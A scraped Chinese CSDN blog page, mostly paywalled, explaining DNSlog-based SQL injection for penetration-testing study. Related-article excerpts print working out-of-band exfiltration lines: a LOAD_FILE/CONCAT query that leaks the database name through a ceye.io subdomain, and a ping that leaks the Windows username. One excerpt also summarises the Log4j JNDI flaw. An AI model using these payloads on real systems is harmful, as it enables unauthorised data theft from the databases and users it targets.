DNS_LOG注入

最新推荐文章于 2024-03-18 00:36:47 发布
最新推荐文章于 2024-03-18 00:36:47 发布
阅读量1.6k 收藏 17
点赞数 5
分类专栏： 渗透测试 Web安全篇 文章标签： 数据库 安全 mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/phpppppppppp/article/details/124868910
版权
DNS_LOG注入是一种将数据库盲注变为显错注入的技术，通过DNS解析配合日志记录获取数据。关键函数包括load_file()用于读取文件，concat()用于字符串拼接。利用该技术，可以读取数据库信息，例如database()的长度或特定表中的数据。渗透测试中，DNSLOG注入涉及显错注入和盲注场景，攻击流程通常包括四个步骤。
摘要由CSDN通过智能技术生成

目录

DNS

    DNS协议

    IP

    域名

DNS_LOG注入

    特点

    使用场景

    DNS_LOG注入关键函数

    读的语法

    一份渗透测试报告

DNS

DNS协议：作用是将域名 -->  IP 

IP：电脑在网络的位置。

223.73.115.237

域名：IP的外号。

www.chenchan.com

打开host文件.

ip后增加域名.

打开浏览器后访问，访问成功.

原理：我们输入完http://www.chenchan.com/这个域名之后，咱们电脑会先访问host文件，就会将www.chenchan.com --> 192.168.189.128，然后访问这个IP。

http://dnslog.cn/ ，一个DNS解析记录的日志网站。

DNS_LOG注入

最低0.47元/天 解锁文章
风过留不留声
关注
专栏目录
dnslog注入_dnslog盲注
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
09-09 1829
dnslog注入原理通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录此时变为显错注入,将dnslog注入盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接到域名中，访问时将访问服务器，记录后查看日志。dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示，注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数，这个函数的目的是读取本地文件，也可以对外发送请求，利用这个函数，我们再使用concat函数将dnslog
SQL注入之DNS_log注入
weixin_47785246的博客
07-11 895
SQL注入之DNS_log注入 这篇文章将系统的讲解，SQL注入中的DNS_log注入的原理、方法、以及靶场练习writeup。 文章目录SQL注入之DNS_log注入前言一、DNS_log注入原理二、靶场实战1.DNSlog 平台2.封神台靶场总结 前言 关于SQL注入的详细内容请看我之前写的文章 提示：以下是本篇文章正文内容，下面案例可供参考 一、DNS_log注入原理 我们都知道，DNS解析是一种用户访问域名时，客户端向DNS发起DNS查询的到目标服务器ip地址，进而实现通信的机制，而
DNSLOG 注入
qq_33441500的博客
10-21 729
DNSLOG 注入 在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候就可以通过DNSlog把想获...
DNSLog注入
errorr0
06-27 1166
DNSLog注入漏洞
Injection Attacks-Log 注入
weixin_34272308的博客
03-11 359
日志注入（也称日志文件注入） 很多应用都维护着一系列面向授权用户、通过 HTML 界面展示的日志，因而成为了攻击者的首要目标，这些攻击者试图伪装其他攻击、误导日志读者，甚至对阅读和分析日志监测应用的用户安装后续攻击程序。 日志的脆弱性取决于对日志编写过程的控制，以及是否确保对日志条目进行任何监控或分析时，日志数据被看作非置信数据源。 简单的日志系统可能...
掌控者靶场DNS-Log注入过程
zhaoxz1985的博客
07-15 905
这里写自定义目录标题掌控者靶场DNS-Log注入过程0x01 前言0x02 利用思路0x03 靶场实战第一步：探测数据库名第二步：探测数据表名第三步：探测数据表对应的列名第四步：瞎逼懵0x04 写在最后 掌控者靶场DNS-Log注入过程 以下过程是在听取了线上课程后，结合自身经验，完成的靶场练习，若过程中有错误，还请大佬指正。 0x01 前言 DNS-Log，DNS是域名解析系统，说直白点就是机器名和IP地址转换。 DNS-Log，增加了一个log，也就是增加了一个日志记录，只不过记录的DNS的域名解析
[zkaq靶场]SQL注入--DNS-LOG注入
wwxxee
05-08 260
DNS注入 介绍 在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起请求，这个时候就可以通过DNS请求把想获得的数据外带出来。 对于sql盲注，常见的方法就是二分法去一个个猜，但是这样的方法麻烦不说，还很容易因为数据请求频繁导致被ban。 所以可以将select到的数据发送给一个url，利用dns解析产生的记录日志来查看数据。 原理 通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录 此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接
log4j_2.1.5.zip
12-14
在Log4j中，JNDI注入漏洞（CVE-2021-44228）允许攻击者通过恶意构造的日志输入，触发远程代码执行。由于Log4j的日志格式支持变量替换，攻击者可以通过在日志中插入特定的JNDI链接来执行任意代码，从而对受影响的系统...
代码安全系列(1) - Log的注入
weixin_33868027的博客
12-15 293
简介 我们编写了大量的程序，但程序总是出现莫名其妙的异常，因此我们使用日志模块，详细记录程序执行的步骤，以求追踪和定位问题。也许这是大多数程序员对日志的理解，跟踪和调试程序成了日志的主要职责。其实，日志的作用远非如此，当某天突然发现我们的系统被人非法入侵，删除了大量用户资料时，我们记录的日志成了最好的追踪骇客的工具。假如，我们的日志被骇客无情的篡改，后果将不堪设想。因此，日志模块虽小，安全性却尤...
SQL注入之DNSLog外带注入
dragon的博客
02-21 2929
什么是dnslog呢？DNS就是域名解析服务，把一个域名转换成对应的IP地址，转换完成之后，DNS服务器就会有一个日志记录本次转换的时间、域名、域名对应的ip、请求方的一些信息，这个日志就叫DNSLog。但是想要查看DNSLog信息的人，必须是拥有DNS服务器权限的人，这就使的我们要是用dnslog注入方法的话，就需要搭建自己的一个dns服务器，成本相对较高。所以在此就推荐两个平台，可以快速让我们使用dnslog外带注入也可以使用BurpSuite同样可以实现相应功能。
DNSLog注入及SQLmap工具使用
最新发布
2301_80034711的博客
03-18 1162
DNSLog就是储存在DNS上的域名相关的信息，它可以记录我们对域名或者IP的访问信息，类似一个日志文件。比如说现在有一个xxx.aaa.com的域名（从右到左分别为顶级域名、二级域名、三级域名），将其域名设置对应的ip1.1.1.1我们向dns服务器发起aaa.com的解析请求时，DNSlog就会记录下对aaa.com的解析，那么解析值就为1.1.1.1，这样被记录下来的过程就是DNSLog。Sqlmap是一个使用python语言开发的开源的渗透测试工具，可以利用SQL注入漏洞，获取数据库服务器的权限。
小白的CTF之路之DNSlog注入
glass_york的博客
01-07 1115
dnslog注入，sqlilabs第九关
DNS-log注入（zkaq靶场）
v2ish1yan的博客
04-21 1341
DNS-log注入
DNSLog注入笔记
weixin_30781433的博客
09-12 861
测试一些网站的时候，一些注入都是无回显的，我们可以写脚本来进行盲注，但有些网站会ban掉我们的ip，这样我们可以通过设置ip代理池解决， 但是盲注往往效率很低，所以产生了DNSlog注入。具体原理如下。 首先需要有一个可以配置的域名，比如：ceye.io，然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，这样...
dnslog注入
qq_40039615的博客
06-11 179
首先 ceye是一个网站 不是一个应用程序 http://ceye.io 这个是他的网址 操作： ping %USERNAME%.b182oj.ceye.io curl sk7s6n.ceye.io 核心语法：Loadfile 函数只能在windows操作系统执行，所以目标一定要是windows操作系统 SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.mysql.sk7s6n.ceye.io\\test')); 官方.
DNSlog注入
7Riven's blog
12-31 934
DNSlog注入产生 测试一些网站的时候，一些注入都是无回显的，可以通过写脚本来进行盲注，但有些网站会ban掉我们的ip，可以通过设置ip代理池解决，但是盲注往往效率很低，所以产生了DNSlog注入。 DNSlog注入应用场景 sql注入的盲注、无回显的命令执行、无回显的SSRF DNSlog注入原理 有一个可以配置的域名(比如：ceye.io)，然后通过代理商设置域名(ceye.io)...
请给出vpp中以下函数的功能和参数的含义：void vnet_send_dns_request (vlib_main_t * vm, dns_main_t * dm, dns_cache_entry_t * ep); int vnet_dns_cname_indirection_nolock (vlib_main_t * vm, dns_main_t * dm, u32 ep_index, u8 * reply); int vnet_dns_delete_entry_by_index_nolock (dns_main_t * dm, u32 index); int vnet_dns_resolve_name (vlib_main_t * vm, dns_main_t * dm, u8 * name, dns_pending_request_t * t, dns_cache_entry_t ** retp); void vnet_dns_send_dns6_request (vlib_main_t * vm, dns_main_t * dm, dns_cache_entry_t * ep, ip6_address_t * server); void vnet_dns_send_dns4_request (vlib_main_t * vm, dns_main_t * dm, dns_cache_entry_t * ep, ip4_address_t * server); void vnet_send_dns4_reply (vlib_main_t * vm, dns_main_t * dm, dns_pending_request_t * t, dns_cache_entry_t * ep, vlib_buffer_t * b0); void vnet_send_dns6_reply (vlib_main_t * vm, dns_main_t * dm, dns_pending_request_t * t, dns_cache_entry_t * ep, vlib_buffer_t * b0); u8 *vnet_dns_labels_to_name (u8 * label, u8 * full_text, u8 ** parse_from_here); void vnet_dns_create_resolver_process (vlib_main_t * vm, dns_main_t * dm);
07-11
void vnet_send_dns_request(vlib_main_t *vm, dns_main_t *dm, dns_cache_entry_t *ep): 该函数用于发送DNS请求。参数含义如下： - vm：指向VLIB主结构的指针。 - dm：指向DNS主结构的指针。 - ep：指向DNS缓存...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

风过留不留声

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值